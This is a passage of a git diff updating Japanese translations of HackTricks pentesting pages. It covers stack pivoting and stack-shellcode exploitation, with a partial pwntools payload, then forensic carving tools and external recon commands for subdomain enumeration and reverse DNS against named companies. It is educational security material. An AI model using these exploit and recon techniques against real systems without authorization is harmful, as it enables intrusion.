これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。 - **最適化されていない:** @@ -175,7 +175,7 @@ xchg , rsp ``` ### jmp esp -ret2espテクニックについては、こちらを確認してください: +ret2espテクニックについてはここを確認してください: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md @@ -188,13 +188,13 @@ ret2espテクニックについては、こちらを確認してください: - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64ビット、no relro、canary、nx、pie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用してpieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットして呼び出します。 +- 64ビット、relroなし、canary、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用して戻り、pieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用した永続ループを作成し、`__libc_csu_fini`を呼び出します([こちらに詳細](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットを呼び出します。 ## ARM64 ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。 -したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きして**SPレジスタを制御することはできません**。たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。 +したがって、デフォルトでは、エピローグを悪用するだけでは**SPレジスタを制御することはできません**。スタック内のデータを上書きしても、SPを制御できたとしても、**`x30`**レジスタを**制御する方法**が必要です。 - プロローグ @@ -213,9 +213,9 @@ ret ``` > [!CAUTION] -> ARM64でスタックピボットに似たことを実行する方法は、**`SP`**を制御できること(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**それに`RET`**することです。 +> ARM64でスタックピボティングに似たことを実行する方法は、**`SP`**を**制御すること**(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**`RET`**することです。 -次のページでは、**ARM64におけるRet2espの同等物**を見ることができます: +また、次のページでは**ARM64におけるRet2espの同等物**を見ることができます: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 4856f1007..2558a811e 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,7 +4,7 @@ ## 基本情報 -**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下に、プロセスの概要と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。 +**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。プロセスの内訳を示し、シンプルなCの例と、**pwntools** を使用して対応するエクスプロイトを書く方法を説明します。 ### Cの例: 脆弱なプログラム @@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、次に**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。 +このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。 **NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。 ## 保護 -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。 -- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。 +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **は無効にするべき**で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、どこにwin関数がロードされているかを把握するために何らかのリークが必要になります。 +- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)も無効にするべきで、侵害されたEIPの戻りアドレスは決して追跡されません。 - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。 ## その他の例と参考文献 diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index d910582df..86e5b0042 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,7 +8,7 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github ### Autopsy -フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 +フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 ### Binwalk @@ -29,28 +29,28 @@ sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` -### **スカルペル** +### **Scalpel** -**スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル (_/etc/scalpel/scalpel.conf_) からコメント解除する必要があります。 +**Scalpel**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメント解除する必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` ### Bulk Extractor -このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: +このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` -すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(マルウェアや存在しないドメインに関連する)を検索します。 +すべての情報(パスワード?)をツールが収集した中からナビゲートし、パケットを分析します(**Pcaps analysis**を参照)。奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。 ### PhotoRec [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。 -GUIとCLIのバージョンがあります。PhotoRecが検索するファイルタイプを選択できます。 +GUIとCLIのバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。 ![](<../../../images/image (524).png>) @@ -60,16 +60,16 @@ GUIとCLIのバージョンがあります。PhotoRecが検索するファイル #### BinVisの特徴 -- 視覚的でアクティブな構造ビューア +- 視覚的でアクティブな**構造ビューワー** - 異なる焦点のための複数のプロット - サンプルの一部に焦点を当てる -- PEまたはELF実行可能ファイルの文字列やリソースを見る -- ファイルの暗号解析のためのパターンを取得 -- パッカーやエンコーダアルゴリズムを特定 -- パターンによるステガノグラフィの識別 -- 視覚的なバイナリ差分 +- PEまたはELF実行可能ファイルの**文字列とリソース**を見る +- ファイルの暗号解析のための**パターン**を取得 +- パッカーまたはエンコーダアルゴリズムを**特定** +- パターンによるステガノグラフィの**識別** +- **視覚的**なバイナリ差分 -BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい出発点です。 +BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。 ## 特定のデータカービングツール diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 6fc725002..794883b72 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -8,7 +8,7 @@ ## Binwalk -**Binwalk**は、画像や音声ファイルのようなバイナリファイル内の埋め込まれたファイルやデータを検索するためのツールです。`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubにあります。 +**Binwalk**は、画像や音声ファイルのようなバイナリファイル内の埋め込まれたファイルやデータを検索するためのツールです。`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。 **便利なコマンド**: ```bash sudo apt install binwalk #Insllation @@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ## Foremost -もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 +もう一つの一般的なツールは **foremost** です。foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -35,17 +35,17 @@ scalpel file.img -o output このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URLs、ドメイン、IPs、MACs、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: +このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: ```text bulk_extractor memory.img -o out_folder ``` -すべての情報をナビゲートします(パスワード?)、パケットを分析します(読み取り[ **Pcaps analysis**](../pcap-inspection/))、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。 +すべての情報をナビゲートします(パスワード?)、パケットを分析します(読み取り[ **Pcaps analysis**](../pcap-inspection/index.html))、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。 ## PhotoRec [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) で見つけることができます。 -GUIとCLIのバージョンが付属しています。PhotoRecに検索させたい**ファイルタイプ**を選択できます。 +GUIとCLIバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。 ![](../../../images/image%20%28524%29.png) @@ -53,13 +53,13 @@ GUIとCLIのバージョンが付属しています。PhotoRecに検索させた ## FindAES -キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 +AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 -[ここからダウンロード](https://sourceforge.net/projects/findaes/)。 +[こちらからダウンロード](https://sourceforge.net/projects/findaes/)。 # 補完ツール -[**viu** ](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。 +[**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。 Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 619918826..6a75b5dc3 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,11 +8,11 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github ### Autopsy -フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 +フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 ### Binwalk -**Binwalk** は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 +**Binwalk**は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。 **Useful commands**: ```bash @@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -もう一つの一般的な隠しファイルを見つけるためのツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。 +もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -38,13 +38,13 @@ scalpel file.img -o output ``` ### Bulk Extractor -このツールはkaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは: +このツールはイメージをスキャンし、**pcaps**を抽出し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` -すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。 +すべての情報(パスワード?)をツールが収集した中からナビゲートし、パケットを分析します(**Pcaps analysis**を参照してください)。奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。 ### PhotoRec @@ -82,6 +82,6 @@ AESキーのスケジュールを検索することでAESキーを検索しま ## 補完ツール ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\ -PDFをテキストに変換して読むためにLinuxコマンドラインツール**pdftotext**を使用できます。 +PDFをテキストに変換して読むために、Linuxコマンドラインツール**pdftotext**を使用できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index e5c89851d..dffef2b7e 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,4 +1,4 @@ -# 外部リコンメソドロジー +# 外部リコンメソッド {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ > ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に何を所有しているのかを把握したいと思っています。 -このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、以下を行います: +このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下のことを行います: 1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。 2. 各会社のASN(あれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。 @@ -16,19 +16,19 @@ ### **買収** まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\ -1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ -もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 +一つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ +もう一つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 > さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。 ### **ASNs** 自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\ -**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。 +**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成されることがあります。 -**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ +**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ [**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\ -**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。** +**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -62,33 +62,33 @@ bbot -t tesla.com -f subdomain-enum ## ドメイン -> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。 +> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。 _以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_ -まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の主要なドメインは_ tesla.com_になります。 +まず、各企業の**主要ドメイン**を探すべきです。たとえば、_Tesla Inc._の主要ドメインは_tesla.com_になります。 ### **逆引きDNS** -ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 +ドメインのすべてのIP範囲を見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -For this to work, the administrator has to enable manually the PTR.\ +この機能を利用するには、管理者が手動でPTRを有効にする必要があります。\ この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com) -### **Reverse Whois (ループ)** +### **逆Whois(ループ)** -**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索**を行うと、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\ -オンラインツールを使用できます: +**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索を行う**ことで、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\ +次のようなオンラインツールを使用できます: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料** -- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、APIは無料ではありません。 +- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**のウェブ、APIは無料ではありません。 - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回の無料**検索のみ) - [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません @@ -101,7 +101,7 @@ For this to work, the administrator has to enable manually the PTR.\ ### **トラッカー** 異なる2つのページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\ -例えば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見るときです。 +例えば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合です。 これらのトラッカーやその他の情報を検索できるページやツールがあります: @@ -150,7 +150,7 @@ cronジョブを持つことは一般的です。 # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -サーバー上のすべてのドメイン証明書を更新することです。これは、使用されるCAが有効期限に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\ +サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期限に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\ この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。 ### Mail DMARC情報 @@ -159,9 +159,9 @@ cronジョブを持つことは一般的です。 ### **パッシブテイクオーバー** -人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを起動する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。 +人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを生成する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。 -[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを起動し**、**新しいマシンの**IPv4を**取得し**、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。 +[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、**新しいマシンの** **IPv4**を取得し、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。 ### **その他の方法** @@ -181,7 +181,7 @@ IPスペースを所有する組織の名前がわかっているので、その いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。 -もし、資産発見で既に見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +もし、資産発見で見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## サブドメイン @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つものがあります。例えば: +他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つかもしれません。例えば: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。 ```bash @@ -341,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -- [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います。 +- [**gobuster**](https://github.com/OJ/gobuster): これはおそらく1つのリゾルバを使用していると思います。 ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーであり、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。 +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーで、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 